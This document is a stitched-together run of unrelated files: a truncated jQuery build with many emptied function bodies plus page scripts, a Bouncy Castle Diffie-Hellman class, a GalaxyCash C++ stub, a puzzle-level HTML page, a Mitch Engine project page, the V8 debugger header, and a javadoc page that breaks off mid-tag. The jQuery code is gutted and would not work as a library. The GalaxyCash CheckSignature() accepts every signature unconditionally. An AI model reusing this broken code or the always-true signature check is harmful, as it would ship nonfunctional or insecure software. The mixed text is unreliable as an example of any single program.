elems.get()); } return this.pushStack(ret); }; }); jQuery.extend({ clone: function(elem, dataAndEvents, deepDataAndEvents){}, buildFragment: function(elems, context, scripts, selection) { var elem, l = elems.length, safe = createSafeFragment(context), nodes = [], i = 0; for(;i < l;i++) { elem = elems[i]; if(elem) { if(jQuery.type(elem) === 'object') { jQuery.merge(nodes, elem.nodeType ? 0 : elem); } } } i = 0; while(elem = nodes[i++]) { (safe.appendChild(elem), null); } return safe; }, cleanData: function(elems, acceptData){}, _evalUrl: function(url){} }); jQuery.fn.extend({ wrapAll: function(html){}, wrapInner: function(html){}, wrap: function(html){}, unwrap: function(){} }); var getStyles, curCSS, rnumsplit = new RegExp(('^(' + core_pnum) + ')(.*)$', 'i'), cssExpand = ['Top', 'Right', 'Bottom', 'Left']; function vendorPropName(style, name) { if(name in style) { return name; } } jQuery.fn.extend({ css: function(name, value) { return jQuery.access(this, function(elem, name, value) { return value !== undefined ? jQuery.style(elem, name, value) : 0; }, name, value, arguments.length > 1); }, show: function(){}, hide: function(){}, toggle: function(state){} }); jQuery.extend({ cssHooks: {}, cssNumber: {}, cssProps: {}, style: function(elem, name, value, extra) { var type, hooks, origName = jQuery.camelCase(name), style = elem.style; name = jQuery.cssProps[origName]; hooks = jQuery.cssHooks[name]; if(value !== undefined) { type = typeof value; if(type === 'number' && !(jQuery.cssNumber[origName])) { value += 'px'; } if(!hooks || !('set' in hooks) || (value = hooks.set(elem, value, extra)) !== undefined) { try { style[name] = value; } catch(e){} } } }, css: function(elem, name, extra, styles) { var num, val, hooks, origName = jQuery.camelCase(name); name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(elem.style, origName)); hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName]; if(hooks && 'get' in hooks) { val = hooks.get(elem, true, extra); } if(val === undefined) { val = curCSS(elem, name, styles); } if(extra === '' || extra) { num = parseFloat(val); return extra === true || jQuery.isNumeric(num) ? num || 0 : 0; } return val; } }); if(window.getComputedStyle) { getStyles = function(elem) { return window.getComputedStyle(elem, null); }; curCSS = function(elem, name, _computed) { var computed = _computed, ret = computed ? computed.getPropertyValue(name) || computed[name] : 0; return ret; }; } function setPositiveNumber(elem, value, subtract) { var matches = rnumsplit.exec(value); return matches ? Math.max(0, matches[1] - (subtract || 0)) + matches[2] : 0; } function augmentWidthOrHeight(elem, name, extra, isBorderBox, styles) { var i = extra === (isBorderBox ? 'border' : 0) ? 0 : name === 'width' ? 1 : 0, val = 0; for(;i < 4;i += 2) { if(isBorderBox) { if(extra === 'content') { val -= jQuery.css(elem, 'padding' + cssExpand[i], true, styles); } if(extra !== 'margin') { val -= jQuery.css(elem, ('border' + cssExpand[i]) + 'Width', true, styles); } } } return val; } function getWidthOrHeight(elem, name, extra) { var valueIsBorderBox = true, val = name === 'width' ? elem.offsetWidth : 0, styles = getStyles(elem), isBorderBox = jQuery.css(elem, 'boxSizing', false, styles); return (val + augmentWidthOrHeight(elem, name, extra, valueIsBorderBox, styles)) + 'px'; } jQuery.each(['height', 'width'], function(i, name) { jQuery.cssHooks[name] = { get: function(elem, computed, extra) { if(computed) { return elem.offsetWidth === 0 ? 0 : getWidthOrHeight(elem, name, extra); } }, set: function(elem, value, extra) { return setPositiveNumber(elem, value, extra ? 0 : 0); } }; }); jQuery(function(){}); jQuery.fn.extend({ serialize: function(){}, serializeArray: function(){} }); jQuery.each((('blur focus focusin focusout load resize scroll unload click dblclick ' + 'mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave ') + 'change select submit keydown keypress keyup error contextmenu').split(' '), function(i, name) { jQuery.fn[name] = function(data, fn) { return arguments.length > 0 ? this.on(name, null, data, fn) : 0; }; }); jQuery.fn.extend({ hover: function(fnOver, fnOut) { return this.mouseenter(fnOver).mouseleave(fnOut || fnOver); }, bind: function(types, data, fn){}, unbind: function(types, fn){}, delegate: function(selector, types, data, fn){}, undelegate: function(selector, types, fn){} }); var prefilters = {}, transports = {}, allTypes = ('*/').concat('*'); function addToPrefiltersOrTransports(structure) { return function(dataTypeExpression, func){}; } function ajaxExtend(target, src) { var deep, key, flatOptions = jQuery.ajaxSettings.flatOptions; for(key in src) { if(src[key] !== undefined) { (flatOptions[key] ? 0 : deep || (deep = {}))[key] = src[key]; } } if(deep) { jQuery.extend(true, target, deep); } return target; } jQuery.extend({ active: 0, lastModified: {}, etag: {}, ajaxSettings: { accepts: { '*': allTypes, json: 'application/json, text/javascript' }, contents: {xml: /xml/, json: /json/}, converters: { '* text': String, 'text xml': jQuery.parseXML }, flatOptions: {} }, ajaxSetup: function(target, settings) { return settings ? 0 : ajaxExtend(jQuery.ajaxSettings, target); }, ajaxPrefilter: addToPrefiltersOrTransports(prefilters), ajaxTransport: addToPrefiltersOrTransports(transports), ajax: function(url, options){}, getJSON: function(url, data, callback){}, getScript: function(url, callback){} }); jQuery.ajaxSetup({ accepts: {script: 'text/javascript, application/javascript, application/ecmascript, application/x-ecmascript'}, contents: {script: /(?:java|ecma)script/}, converters: { 'text script': function(text){} } }); jQuery.ajaxSetup({ jsonp: 'callback', jsonpCallback: function(){} }); function Animation(elem, properties, options){} jQuery.extend(Animation, { tweener: function(props, callback){}, prefilter: function(callback, prepend){} }); jQuery.fn.extend({ fadeTo: function(speed, to, easing, callback){}, animate: function(prop, speed, easing, callback){}, stop: function(type, clearQueue, gotoEnd){}, finish: function(type){} }); jQuery.fn.extend({ position: function(){}, offsetParent: function(){} }); jQuery.each({Height: 'height', Width: 'width'}, function(name, type) { jQuery.each({ padding: 'inner' + name, content: type, '': 'outer' + name }, function(defaultExtra, funcName) { jQuery.fn[funcName] = function(margin, value) { var chainable = arguments.length, extra = defaultExtra; return jQuery.access(this, function(elem, type, value) { if(jQuery.isWindow(elem)) { return elem.document.documentElement['client' + name]; } return value === undefined ? jQuery.css(elem, type, extra) : 0; }, type, chainable ? 0 : undefined, chainable, null); }; }); }); if(typeof module === 'object'); else { window.jQuery = window.$ = jQuery; } })(window)); </script> <script> $current_class = 'm_1'; var $root = $(document.documentElement), $window = $(window); var windowWidth; $(document).ready(function() { $('#mustache_picker').addClass('initialized'); ($root.width(), null, $('<style/>').appendTo('head'), manage_scroller()); onMoustacheHover(); onMoustachePicked(); onlistOut(); onMustachePickExpand(); }); function onMoustacheHover() { $('#mustache_picker ul li a').hover(function() { tmp = $(this).attr('class'); if(tmp != 'collapse_arrow') { $('#mustache_on_logo').removeClass().addClass(tmp); } }); } function onlistOut() { $('#mustache_picker ul li a').hover(function(){}, function() { setMoustacheLogo(); }); } function setMoustacheLogo() { $('#mustache_on_logo').removeClass().addClass($current_class); } function onMoustachePicked() { $('#mustache_picker li a').click(function() { if(tmp != 'collapse_arrow') { $('#mustache_picker ul li a').removeClass('selected'); $(this).addClass('selected'); setMoustacheLogo(); collapseMe(); } return false; }); } function onMustachePickExpand() { $('#selected_tache').click(function(){}); $('#mustache_picker .expand_arrow').click(function() { expandMe(); return false; }); $('#mustache_picker ul .collapse_arrow').click(function(){}); } function expandMe() { $('#branding .logo_text h1').addClass('expandme'); $('#mustache_picker').addClass('expandme'); } function collapseMe() { $('#branding .logo_text h1').removeClass('expandme'); $('#mustache_picker').removeClass('expandme'); } function manage_scroller() { jQuery('.scroller').click(function(){}); } </script> <script> var $root = $(document.documentElement), $window = $(window); $(document).ready(function() { (windowWidth = $(window).width(), $(window), $('<style/>').appendTo('head'), $('#main_nav ul li a.home').addClass('selected')); $('.welcome').css({ 'width': windowWidth }); $('.webmadeclean').css({ 'width': windowWidth }); $('.imake').css({ 'width': windowWidth }); $('.menuslide').css({ 'width': windowWidth }); $('.myphotoblog').css({ 'width': windowWidth }); $('#home_loader'); $('.slider_one').click(function(){}); $('.slider_two').click(function(){}); $('.slider_three').click(function(){}); $('.slider_four').click(function(){}); $('.slider_five').click(function(){}); $('.home_nav .right').click(function(){}); $('.home_nav .left').click(function(){}); $(document).keydown(function(e){}); $(window); }); </script> </body> </html>
package net.dirtyfilthy.bouncycastle.crypto.agreement; import java.math.BigInteger; import java.security.SecureRandom; import net.dirtyfilthy.bouncycastle.crypto.AsymmetricCipherKeyPair; import net.dirtyfilthy.bouncycastle.crypto.CipherParameters; import net.dirtyfilthy.bouncycastle.crypto.generators.DHKeyPairGenerator; import net.dirtyfilthy.bouncycastle.crypto.params.AsymmetricKeyParameter; import net.dirtyfilthy.bouncycastle.crypto.params.DHKeyGenerationParameters; import net.dirtyfilthy.bouncycastle.crypto.params.DHParameters; import net.dirtyfilthy.bouncycastle.crypto.params.DHPrivateKeyParameters; import net.dirtyfilthy.bouncycastle.crypto.params.DHPublicKeyParameters; import net.dirtyfilthy.bouncycastle.crypto.params.ParametersWithRandom; /** * a Diffie-Hellman key exchange engine. * <p> * note: This uses MTI/A0 key agreement in order to make the key agreement * secure against passive attacks. If you're doing Diffie-Hellman and both * parties have long term public keys you should look at using this. For * further information have a look at RFC 2631. * <p> * It's possible to extend this to more than two parties as well, for the moment * that is left as an exercise for the reader. */ public class DHAgreement { private DHPrivateKeyParameters key; private DHParameters dhParams; private BigInteger privateValue; private SecureRandom random; public void init( CipherParameters param) { AsymmetricKeyParameter kParam; if (param instanceof ParametersWithRandom) { ParametersWithRandom rParam = (ParametersWithRandom)param; this.random = rParam.getRandom(); kParam = (AsymmetricKeyParameter)rParam.getParameters(); } else { this.random = new SecureRandom(); kParam = (AsymmetricKeyParameter)param; } if (!(kParam instanceof DHPrivateKeyParameters)) { throw new IllegalArgumentException("DHEngine expects DHPrivateKeyParameters"); } this.key = (DHPrivateKeyParameters)kParam; this.dhParams = key.getParameters(); } /** * calculate our initial message. */ public BigInteger calculateMessage() { DHKeyPairGenerator dhGen = new DHKeyPairGenerator(); dhGen.init(new DHKeyGenerationParameters(random, dhParams)); AsymmetricCipherKeyPair dhPair = dhGen.generateKeyPair(); this.privateValue = ((DHPrivateKeyParameters)dhPair.getPrivate()).getX(); return ((DHPublicKeyParameters)dhPair.getPublic()).getY(); } /** * given a message from a given party and the corresponding public key, * calculate the next message in the agreement sequence. In this case * this will represent the shared secret. */ public BigInteger calculateAgreement( DHPublicKeyParameters pub, BigInteger message) { if (!pub.getParameters().equals(dhParams)) { throw new IllegalArgumentException("Diffie-Hellman public key has wrong parameters."); } BigInteger p = dhParams.getP(); return message.modPow(key.getX(), p).multiply(pub.getY().modPow(privateValue, p)).mod(p); } }
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2017 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <galaxycash.h> #include <chainparams.h> #include <hash.h> #include <memory> #include <pow.h> #include <uint256.h> #include <util.h> #include <stdint.h> CGalaxyCashStateRef g_galaxycash; CGalaxyCashDB::CGalaxyCashDB(size_t nCacheSize, bool fMemory, bool fWipe) : CDBWrapper(GetDataDir() / "galaxycash" / "database", nCacheSize, fMemory, fWipe) { } class CGalaxyCashVM { public: CGalaxyCashVM(); ~CGalaxyCashVM(); }; CGalaxyCashVM::CGalaxyCashVM() { } CGalaxyCashState::CGalaxyCashState() : pdb(new CGalaxyCashDB((gArgs.GetArg("-gchdbcache", 128) << 20), false, gArgs.GetBoolArg("-reindex", false))) { } CGalaxyCashState::~CGalaxyCashState() { delete pdb; } void CGalaxyCashState::EvalScript() { } bool CGalaxyCashConsensus::CheckSignature() const { return true; }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>18 --> 19</title> <link href="./../../assets/style.css" rel="stylesheet"> </head> <body> <h2>You have to be fast</h2> <a href="./a403e5220be454de028ff1bff6661d4a11efb0e3059dec68e6ccc8ec22768abb.html">Teleport</a> <hr> <a href="./../../about.md">About</a> (Spoilers! ) <script src="./../../assets/md5.js"></script> <script> window.currentLevel = 7; </script> <script src="./../../assets/script.js"></script> </body> </html>
--- layout: game-video.html title: "Mitch Engine" date: "March 18, 2016" headerImage: "https://raw.githubusercontent.com/wobbier/MitchEngine/master/Docs/GitHub/Havana.png" embed-image: "https://raw.githubusercontent.com/wobbier/MitchEngine/master/Docs/GitHub/Havana.png" hasHeaderImage: true --- <div class="padded-wrapper"> <!-- DsvEJKTwelc --> <a href="https://ci.appveyor.com/project/wobbier/mitchengine"> <img src="https://ci.appveyor.com/api/projects/status/7x55po7se0siesdn?svg=true" alt="Build status"> </a> <a href="https://www.codacy.com/app/rastaninja77/MitchEngine?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=wobbier/MitchEngine&amp;utm_campaign=Badge_Grade"> <img src="https://api.codacy.com/project/badge/Grade/858846f643cc47258ed72f9cfddb28b2" alt="Codacy Badge"> </a> <img src="https://img.shields.io/github/license/wobbier/mitchengine.svg" alt="license"> <br> The 3D game engine so good it has my name in it. Mitch Engine is a simple c++ component based game engine for creating games on the Xbox One and Windows 10 Store. It's a great hobby project to keep me exploring the world of c++. Check out my Trello Board to check out the current development status. <br> <br> The engine is: <ul class="bullet-list"> <li> <div>Open source</div> </li> <li> <div>Easy to use</div> </li> <li> <div>Awesome</div> </li> </ul> <div id="MerlinsGatheringSpell" class="section"> <div class="section-title"> <h1>How to make a Mitch game</h1> <div class="clearfix"></div> <hr /> </div> </div> <ul class="bullet-list"> <li> <div>Fork the MitchGame repo and follow the README</div> </li> <li> <div>Think of an awesome game idea.</div> </li> <li> <div>????</div> </li> <li> <div>Profit</div> </li> </ul> <div id="MerlinsGatheringSpell" class="section"> <div class="section-title"> <h1>Examples</h1> <div class="clearfix"></div> <hr /> </div> </div> <pre><code class="language-cpp">// Create an entity. EntityHandle MainCamera = GameWorld->CreateEntity(); // Add some components Transform& CameraTransform = MainCamera->AddComponent&lt;Transform>("Main Camera"); Camera& CameraComponent = MainCamera->AddComponent&lt;Camera>(); // Start changing some values CameraTransform.SetPosition(0.f, 5.f, 10.f); // Spawning models. EntityHandle ModelEntity = GameWorld->CreateEntity(); // Add some components Transform& TransformComponent = ModelEntity->AddComponent&lt;Transform>("Ground Model"); Model& ModelComponent = ModelEntity->AddComponent&lt;Model>("Assets/Models/ground.fbx"); </code></pre> <div id="MerlinsGatheringSpell" class="section"> <div class="section-title"> <h1>Main features</h1> <div class="clearfix"></div> <hr /> </div> </div> <ul class="bullet-list"> <li> <div>(ECS) Entity-Component System based design</div> </li> <li> <div>Language: C++</div> </li> <li> <div>DirectX 11</div> </li> <li> <div>Open Source Commercial Friendly(MIT): Compatible with open and closed source projects</div> </li> </ul> <div id="MerlinsGatheringSpell" class="section"> <div class="section-title"> <h1>Build Requirements</h1> <div class="clearfix"></div> <hr /> </div> </div> <ul class="bullet-list"> <li> <div>Windows 10</div> </li> <li> <div>Visual Studio 2017</div> <ul> <li><div>Desktop Development with C++</div></li> <li><div>Universal Windows Platform development</div></li> <li><div>Game development with C++</div></li> <li><div>C++ Universal Windows Platform tools</div></li> </ul> </li> <li> <div>CMake - 3.12.0 (Required if you wish to update ThirdParty projects)</div> </li> </ul> <div id="MerlinsGatheringSpell" class="section"> <div class="section-title"> <h1>Third Party Libraries</h1> <div class="clearfix"></div> <hr /> </div> </div> <ul class="bullet-list"> <li> <div>Assimp</div> </li> <li> <div>Bullet Physics</div> </li> <li> <div>ImGui</div> </li> <li> <div>Optick</div> </li> <li> <div>Ultralight</div> </li> </ul> <div id="MerlinsGatheringSpell" class="section"> <div class="section-title"> <h1>Contributing to the Project</h1> <div class="clearfix"></div> <hr /> </div> </div> Did you find a bug? Have a feature request? <ul class="bullet-list"> <li> <div><a href="/">Contribute to the engine</a></div> </li> </ul> <!--img src="/img/stack.png" style="margin:0 auto; width:100%;" /--> </div>
// Copyright 2008 the V8 project authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #ifndef V8_V8_DEBUG_H_ #define V8_V8_DEBUG_H_ #include "v8.h" #ifdef _WIN32 typedef int int32_t; typedef unsigned int uint32_t; typedef unsigned short uint16_t; // NOLINT typedef long long int64_t; // NOLINT // Setup for Windows DLL export/import. See v8.h in this directory for // information on how to build/use V8 as a DLL. #if defined(BUILDING_V8_SHARED) && defined(USING_V8_SHARED) #error both BUILDING_V8_SHARED and USING_V8_SHARED are set - please check the\ build configuration to ensure that at most one of these is set #endif #ifdef BUILDING_V8_SHARED #define EXPORT __declspec(dllexport) #elif USING_V8_SHARED #define EXPORT __declspec(dllimport) #else #define EXPORT #endif #else // _WIN32 // Setup for Linux shared library export. See v8.h in this directory for // information on how to build/use V8 as shared library. #if defined(__GNUC__) && (__GNUC__ >= 4) && defined(V8_SHARED) #define EXPORT __attribute__ ((visibility("default"))) #else // defined(__GNUC__) && (__GNUC__ >= 4) #define EXPORT #endif // defined(__GNUC__) && (__GNUC__ >= 4) #endif // _WIN32 /** * Debugger support for the V8 JavaScript engine. */ namespace v8 { // Debug events which can occur in the V8 JavaScript engine. enum DebugEvent { Break = 1, Exception = 2, NewFunction = 3, BeforeCompile = 4, AfterCompile = 5, ScriptCollected = 6, BreakForCommand = 7 }; class EXPORT Debug { public: /** * A client object passed to the v8 debugger whose ownership will be taken by * it. v8 is always responsible for deleting the object. */ class ClientData { public: virtual ~ClientData() {} }; /** * A message object passed to the debug message handler. */ class Message { public: /** * Check type of message. */ virtual bool IsEvent() const = 0; virtual bool IsResponse() const = 0; virtual DebugEvent GetEvent() const = 0; /** * Indicate whether this is a response to a continue command which will * start the VM running after this is processed. */ virtual bool WillStartRunning() const = 0; /** * Access to execution state and event data. Don't store these cross * callbacks as their content becomes invalid. These objects are from the * debugger event that started the debug message loop. */ virtual Handle<Object> GetExecutionState() const = 0; virtual Handle<Object> GetEventData() const = 0; /** * Get the debugger protocol JSON. */ virtual Handle<String> GetJSON() const = 0; /** * Get the context active when the debug event happened. Note this is not * the current active context as the JavaScript part of the debugger is * running in its own context which is entered at this point. */ virtual Handle<Context> GetEventContext() const = 0; /** * Client data passed with the corresponding request if any. This is the * client_data data value passed into Debug::SendCommand along with the * request that led to the message or NULL if the message is an event. The * debugger takes ownership of the data and will delete it even if there is * no message handler. */ virtual ClientData* GetClientData() const = 0; virtual ~Message() {} }; /** * An event details object passed to the debug event listener. */ class EventDetails { public: /** * Event type. */ virtual DebugEvent GetEvent() const = 0; /** * Access to execution state and event data of the debug event. Don't store * these cross callbacks as their content becomes invalid. */ virtual Handle<Object> GetExecutionState() const = 0; virtual Handle<Object> GetEventData() const = 0; /** * Get the context active when the debug event happened. Note this is not * the current active context as the JavaScript part of the debugger is * running in its own context which is entered at this point. */ virtual Handle<Context> GetEventContext() const = 0; /** * Client data passed with the corresponding callback when it was * registered. */ virtual Handle<Value> GetCallbackData() const = 0; /** * Client data passed to DebugBreakForCommand function. The * debugger takes ownership of the data and will delete it even if * there is no message handler. */ virtual ClientData* GetClientData() const = 0; virtual ~EventDetails() {} }; /** * Debug event callback function. * * \param event the type of the debug event that triggered the callback * (enum DebugEvent) * \param exec_state execution state (JavaScript object) * \param event_data event specific data (JavaScript object) * \param data value passed by the user to SetDebugEventListener */ typedef void (*EventCallback)(DebugEvent event, Handle<Object> exec_state, Handle<Object> event_data, Handle<Value> data); /** * Debug event callback function. * * \param event_details object providing information about the debug event * * A EventCallback2 does not take possession of the event data, * and must not rely on the data persisting after the handler returns. */ typedef void (*EventCallback2)(const EventDetails& event_details); /** * Debug message callback function. * * \param message the debug message handler message object * \param length length of the message * \param client_data the data value passed when registering the message handler * A MessageHandler does not take possession of the message string, * and must not rely on the data persisting after the handler returns. * * This message handler is deprecated. Use MessageHandler2 instead. */ typedef void (*MessageHandler)(const uint16_t* message, int length, ClientData* client_data); /** * Debug message callback function. * * \param message the debug message handler message object * * A MessageHandler does not take possession of the message data, * and must not rely on the data persisting after the handler returns. */ typedef void (*MessageHandler2)(const Message& message); /** * Debug host dispatch callback function. */ typedef void (*HostDispatchHandler)(); /** * Callback function for the host to ensure debug messages are processed. */ typedef void (*DebugMessageDispatchHandler)(); // Set a C debug event listener. static bool SetDebugEventListener(EventCallback that, Handle<Value> data = Handle<Value>()); static bool SetDebugEventListener2(EventCallback2 that, Handle<Value> data = Handle<Value>()); // Set a JavaScript debug event listener. static bool SetDebugEventListener(v8::Handle<v8::Object> that, Handle<Value> data = Handle<Value>()); // Schedule a debugger break to happen when JavaScript code is run // in the given isolate. If no isolate is provided the default // isolate is used. static void DebugBreak(Isolate* isolate = NULL); // Remove scheduled debugger break in given isolate if it has not // happened yet. If no isolate is provided the default isolate is // used. static void CancelDebugBreak(Isolate* isolate = NULL); // Break execution of JavaScript in the given isolate (this method // can be invoked from a non-VM thread) for further client command // execution on a VM thread. Client data is then passed in // EventDetails to EventCallback at the moment when the VM actually // stops. If no isolate is provided the default isolate is used. static void DebugBreakForCommand(ClientData* data = NULL, Isolate* isolate = NULL); // Message based interface. The message protocol is JSON. NOTE the message // handler thread is not supported any more parameter must be false. static void SetMessageHandler(MessageHandler handler, bool message_handler_thread = false); static void SetMessageHandler2(MessageHandler2 handler); // If no isolate is provided the default isolate is // used. static void SendCommand(const uint16_t* command, int length, ClientData* client_data = NULL, Isolate* isolate = NULL); // Dispatch interface. static void SetHostDispatchHandler(HostDispatchHandler handler, int period = 100); /** * Register a callback function to be called when a debug message has been * received and is ready to be processed. For the debug messages to be * processed V8 needs to be entered, and in certain embedding scenarios this * callback can be used to make sure V8 is entered for the debug message to * be processed. Note that debug messages will only be processed if there is * a V8 break. This can happen automatically by using the option * --debugger-auto-break. * \param provide_locker requires that V8 acquires v8::Locker for you before * calling handler */ static void SetDebugMessageDispatchHandler( DebugMessageDispatchHandler handler, bool provide_locker = false); /** * Run a JavaScript function in the debugger. * \param fun the function to call * \param data passed as second argument to the function * With this call the debugger is entered and the function specified is called * with the execution state as the first argument. This makes it possible to * get access to information otherwise not available during normal JavaScript * execution e.g. details on stack frames. Receiver of the function call will * be the debugger context global object, however this is a subject to change. * The following example shows a JavaScript function which when passed to * v8::Debug::Call will return the current line of JavaScript execution. * * \code * function frame_source_line(exec_state) { * return exec_state.frame(0).sourceLine(); * } * \endcode */ static Local<Value> Call(v8::Handle<v8::Function> fun, Handle<Value> data = Handle<Value>()); /** * Returns a mirror object for the given object. */ static Local<Value> GetMirror(v8::Handle<v8::Value> obj); /** * Enable the V8 builtin debug agent. The debugger agent will listen on the * supplied TCP/IP port for remote debugger connection. * \param name the name of the embedding application * \param port the TCP/IP port to listen on * \param wait_for_connection whether V8 should pause on a first statement * allowing remote debugger to connect before anything interesting happened */ static bool EnableAgent(const char* name, int port, bool wait_for_connection = false); /** * Disable the V8 builtin debug agent. The TCP/IP connection will be closed. */ static void DisableAgent(); /** * Makes V8 process all pending debug messages. * * From V8 point of view all debug messages come asynchronously (e.g. from * remote debugger) but they all must be handled synchronously: V8 cannot * do 2 things at one time so normal script execution must be interrupted * for a while. * * Generally when message arrives V8 may be in one of 3 states: * 1. V8 is running script; V8 will automatically interrupt and process all * pending messages (however auto_break flag should be enabled); * 2. V8 is suspended on debug breakpoint; in this state V8 is dedicated * to reading and processing debug messages; * 3. V8 is not running at all or has called some long-working C++ function; * by default it means that processing of all debug messages will be deferred * until V8 gets control again; however, embedding application may improve * this by manually calling this method. * * It makes sense to call this method whenever a new debug message arrived and * V8 is not already running. Method v8::Debug::SetDebugMessageDispatchHandler * should help with the former condition. * * Technically this method in many senses is equivalent to executing empty * script: * 1. It does nothing except for processing all pending debug messages. * 2. It should be invoked with the same precautions and from the same context * as V8 script would be invoked from, because: * a. with "evaluate" command it can do whatever normal script can do, * including all native calls; * b. no other thread should call V8 while this method is running * (v8::Locker may be used here). * * "Evaluate" debug command behavior currently is not specified in scope * of this method. */ static void ProcessDebugMessages(); /** * Debugger is running in its own context which is entered while debugger * messages are being dispatched. This is an explicit getter for this * debugger context. Note that the content of the debugger context is subject * to change. */ static Local<Context> GetDebugContext(); }; } // namespace v8 #undef EXPORT #endif // V8_V8_DEBUG_H_
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!--NewPage--> <HTML> <HEAD> <!-- Generated by javadoc (build 1.6.0_35) on Sun Mar 31 19:35:55 BST 2013 --> <TITLE> DTDParserTestCompany </TITLE> <META NAME="date" CONTENT="2013-03-31"> <LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../../../../../stylesheet.css" TITLE="Style"> <SCRIPT type="text/javascript"> function windowTitle() { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="DTDParserTestCompany"; } } </SCRIPT> <NOSCRIPT> </NOSCRIPT> </HEAD> <BODY BGCOLOR="white" onload="windowTitle();"> <HR> <!-- ========= START OF TOP NAVBAR ======= --> <A NAME="navbar_top"><!-- --></A> <A HREF="#skip-navbar_top" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_top_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/DTDParserTestCompany.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> </EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;<A HREF="../../../../../../../../uk/ac/ed/inf/proj/xmlnormaliser/parser/dtd/DTDParser.DTDParserException.html" title="class in uk.ac.ed.inf.proj.xmlnormaliser.parser.dtd"><B>PREV CLASS</B></A>&nbsp; &nbsp;<A HREF="../../../../../../../../uk/ac/ed/inf/proj/xmlnormaliser/parser/dtd/DTDParserTestCourses.html" title="class in uk.ac.ed.inf.proj.xmlnormaliser.parser.dtd"><B>NEXT CLASS</B></A></FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../../../../../../index.html?uk/ac/ed/inf/proj/xmlnormaliser/parser/dtd/DTDParserTestCompany.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="DTDParserTestCompany.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../../../../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../../../../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> <TR> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY:&nbsp;NESTED&nbsp;|&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> DETAIL:&nbsp;FIELD&nbsp;|&nbsp;<A 